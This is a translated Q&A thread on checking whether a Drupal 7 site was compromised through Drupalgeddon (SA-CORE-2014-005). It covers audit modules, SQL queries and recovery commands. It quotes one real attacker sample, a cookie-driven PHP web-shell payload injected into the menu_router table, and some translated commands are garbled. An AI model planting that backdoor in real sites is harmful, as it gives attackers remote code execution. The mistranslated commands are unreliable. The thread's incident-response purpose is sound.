Drupal SA-CORE-2014-005 - Bagaimana cara mengetahui apakah server / situs saya disusupi?

Saya baru saja memperbarui semua situs saya menggunakan metode patch untuk menyelesaikan eksploitasi Drupal SA-CORE-2014-005. Saya baru saja membaca laporan bahwa baru kemarin ada seseorang dari situs IPup infiltrasi IP Rusia.

https://www.drupal.org/SA-CORE-2014-005

Kekhawatiran utama saya sekarang:

• Bagaimana saya tahu jika situs saya sudah ada?
• Apa yang harus saya cari di log akses apache saya untuk mendeteksi apakah situs saya adalah korban atau tidak?
• Sejauh ini apa yang dilakukan para peretas ini terhadap situs-situs yang ada?

Berikut adalah beberapa pertanyaan SQL yang dapat dijalankan terhadap DB situs Anda untuk memeriksa pengguna dengan hak admin, dan yang mana dari mereka yang telah mengakses posting situs 15 Oktober.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Jika Anda membaca artikel ini dan berharap untuk memeriksa situs Drupal 7 lebih dari sebulan setelah eksploitasi mendarat, situs Anda kemungkinan besar sudah diretas . Taruhan terbaik Anda adalah mengembalikan cadangan dari sebelum serangan dimulai dan bekerja dari sana.

Ada FAQ tentang SA-CORE-2014-005 .

Bagaimana saya tahu jika situs saya telah disusupi?

Salah satu cara untuk memeriksa dengan cepat apakah situs-situs itu disusupi adalah dengan perintah Drupalgeddon drush.

• https://www.drupal.org/project/drupalgeddon

Instal ke Anda ~/.drushdengandrush dl drupalgeddon

Kemudian gunakan drush drupalgeddon-testuntuk menguji. Drush alias membuat ini mudah dan cepat.

Alat ini dapat mengkonfirmasi situs yang dieksploitasi, tetapi tidak dapat menjamin situs Anda tidak dieksploitasi. Tidak ada "tagihan kesehatan" di sini kecuali jika Anda meningkatkan sebelum serangan dimulai.

Modul Audit Situs mencakup beberapa pemeriksaan dari Drupalgeddon, dan memberi Anda banyak masukan yang berguna juga. Saya sangat merekomendasikannya. (EDIT: Sekarang mereka bekerja bersama - super bagus!)

• http://drupal.org/project/site_audit

Security Review tidak memeriksa untuk serangan Drupalgeddon tetapi layak juga ada di toolbelt Anda.

• http://drupal.org/project/security_review

Jika basis kode situs Anda dapat ditulisi oleh pengguna www, Anda juga dapat memeriksa kode yang dimodifikasi menggunakan modul yang diretas. Modul ini mungkin tidak melakukan apa yang Anda pikirkan berdasarkan namanya saja :)

• http://drupal.org/project/hacked

Meskipun tidak ada satu cara tertentu untuk mengidentifikasi semua situs yang disusupi, alat ini dapat membantu Anda mengidentifikasi indikasi yang paling umum.

Apa yang harus saya cari di log akses apache saya untuk mendeteksi apakah situs saya adalah korban atau tidak?

Log akses Anda akan berisi banyak permintaan POST sekarang. Kecuali Anda telah mengambil langkah yang tidak biasa untuk mencatat semua data pos sebelum bug, Anda tidak mungkin memiliki informasi untuk mengatakan yang mana dari yang berbahaya.

Sejauh ini apa yang dilakukan peretas ini terhadap situs yang disusupi?

Banyak yang melaporkan bahwa situs mereka ditambal oleh peretas! Sebagai penyerang, ini masuk akal - Anda tidak ingin situs Anda yang baru dibajak dikeluarkan dari bawah oleh penyerang berikutnya :)

Selain itu, saya kira situs tersebut digunakan untuk memanen data berharga apa pun yang ada di sana (mungkin mengambil beberapa kredit, mungkin mengangkat detail transaksi setelah mengeksploitasi) dan untuk melakukan hal-hal yang membosankan seperti mengirim spam dan bekerja sebagai budak botnet yang rendah hati. Oh, dan kembangkan lebih lanjut kerajaan penyerang dari situs Drupal yang dibajak. (Maaf, saya tidak memiliki situs yang diretas untuk diamati.)

Beberapa pemeriksaan untuk serangan umum adalah (ini bukan daftar lengkap, tetapi beberapa serangan terlihat di alam liar sejauh ini):

• Periksa akun pengguna 1 Anda untuk memastikan nama pengguna, alamat email, atau kata sandi sesuai keinginan Anda. Periksa juga akun pengguna lain yang memiliki tingkat izin tinggi jika memungkinkan.
• Periksa akun pengguna baru yang terlihat mencurigakan.
• Periksa perubahan peran di sistem Anda, misalnya peran baru atau peran yang diubah namanya.
• Periksa perubahan izin. Aspek yang paling penting dari ini adalah untuk memastikan bahwa peran pengguna anonim (atau peran lain yang dapat didaftarkan oleh siapa pun) belum diubah untuk memberi mereka akses lebih besar.
• Periksa blok khusus baru yang mungkin berisi kode berbahaya.
• Periksa node khusus baru yang mungkin berisi kode berbahaya.
• Periksa file di sistem file Anda yang seharusnya tidak ada di sana. Ini mudah jika Anda menggunakan kontrol versi karena Anda dapat melakukan git status atau svn st untuk melihat apakah ada file baru di sana.
• Jika mereka telah mengunggah file berbahaya maka Anda dapat memeriksa log akses Anda untuk hits ke nama file aneh yang Anda tidak kenal.

• Periksa tabel basis data router menu Anda untuk entri jahat. Misalnya (modul drupalgeddon module / drush plugin di drupal.org memiliki skrip yang baik untuk memeriksa tabel ini secara lebih menyeluruh):

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• Anda juga dapat menelusuri tabel router menu untuk mencari entri yang aneh.

Beberapa hal yang coba dilakukan oleh peretas adalah:

• Letakkan file skrip php di situs Anda yang dapat dijalankan dengan menekannya di browser. Skrip ini dapat melakukan berbagai hal berbahaya. Ini dicapai dengan menambahkan entri router menu jahat.
• Buat akun pengguna admin untuk mereka lalu gunakan untuk melakukan hal-hal buruk ke situs Anda atau mengambil alih situs Anda.
• Ubah alamat email pengguna 1 sehingga mereka dapat mengatur ulang kata sandi untuk akun itu dan mengambilnya.
• Ubah izin untuk peran pengguna yang dapat diakses publik.
• Tambahkan blok / node / dll. yang mungkin mengandung kode berbahaya Jika Anda mengaktifkan filter PHP, ini bahkan lebih menjadi masalah.

Sayangnya ada begitu banyak hal yang bisa dilakukan penyerang ke basis data Anda sehingga cukup sulit untuk memberikan daftar lengkap kemungkinan. Mereka dapat melakukan hal-hal yang mencoba untuk membuat mereka mengendalikan situs Anda, atau mereka dapat merusak situs Anda tetapi menjatuhkan tabel atau kolom basis data dll.

Mereka bahkan bisa saja membuat perubahan yang sangat kecil untuk konfigurasi situs, seperti mengubah nama situs Anda atau sesuatu seperti itu, yang bukan akhir dari dunia tetapi masih bermasalah.

Pada dasarnya, apa pun yang dapat Anda lakukan di database Anda dengan menjalankan perintah SQL, seorang penyerang secara teoritis dapat melakukannya.

Semua modul yang disebutkan dalam jawaban Chris Burgess sangat berguna dalam memeriksa hal-hal ini.

Saya pikir saya akan pergi dengan saran drupal.org " Anda harus melanjutkan dengan asumsi bahwa setiap situs web Drupal 7 dikompromikan kecuali diperbarui atau ditambal sebelum 15 Oktober, 11:00 UTC, yaitu 7 jam setelah pengumuman .". Seperti yang dikatakan Bevan dalam komentar ini, "Memperbarui atau menambal Drupal tidak memperbaiki backdoor yang dipasang oleh penyerang sebelum memperbarui atau menambal Drupal."

Bevan juga membuat bagan alur kerja berikut untuk membantu Anda menganalisis jika Anda mungkin telah terinfeksi dan cara memulihkan serta mencegah . Namun, ia meminta semua orang untuk pergi ke artikel aslinya untuk memastikan Anda memiliki versi terbaru dari alur kerja. Acquia juga membuat artikel menarik tentang serangan dan pola yang mereka alami di Acquia Cloud

Kutipan dari: https://www.drupal.org/node/2357241#comment-9258955

Ini adalah contoh file yang dimasukkan ke dalam kolom menu_router tabel access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Seperti yang Anda lihat, ia mencoba membuat file modul / image / vzoh.php tetapi karena saya hanya membaca izin di dalam direktori-direktori tersebut, gagal dengan php.

Laporan orang yang menemukan file serupa dibuat melakukan pencarian di direktori drupal Anda: https://www.drupal.org/node/2357241#comment-9260017

Apa yang saya lakukan adalah melakukan perintah berikut:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Dikutip Dari: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Menampilkan file yang telah berubah di server langsung: status git

Mencari upaya eksekusi kode melalui menu_router: pilih * dari menu_router di mana access_callback = 'file_put_contents'

Menampilkan file mana di server langsung dan tidak dalam kontrol versi: diff -r docroot repo | grep docroot | grep 'Only in docroot'

Menemukan file PHP di direktori file: temukan. -path "* php"

Memeriksa jumlah waktu antara saat pengguna masuk ke situs Anda dan kunjungan halaman terbaru: pilih (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid dari sesi s dalam gabung dengan pengguna di s.uid = u.uid;

Daftar perintah yang sangat baik untuk mengetahui apakah Anda telah dikompromikan.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Anda dapat memeriksa apakah situs web Anda diretas dengan alat online ini:

Drupal Check: The EngineHack

Jelas itu memiliki keterbatasan, tetapi ini adalah titik awal yang baik.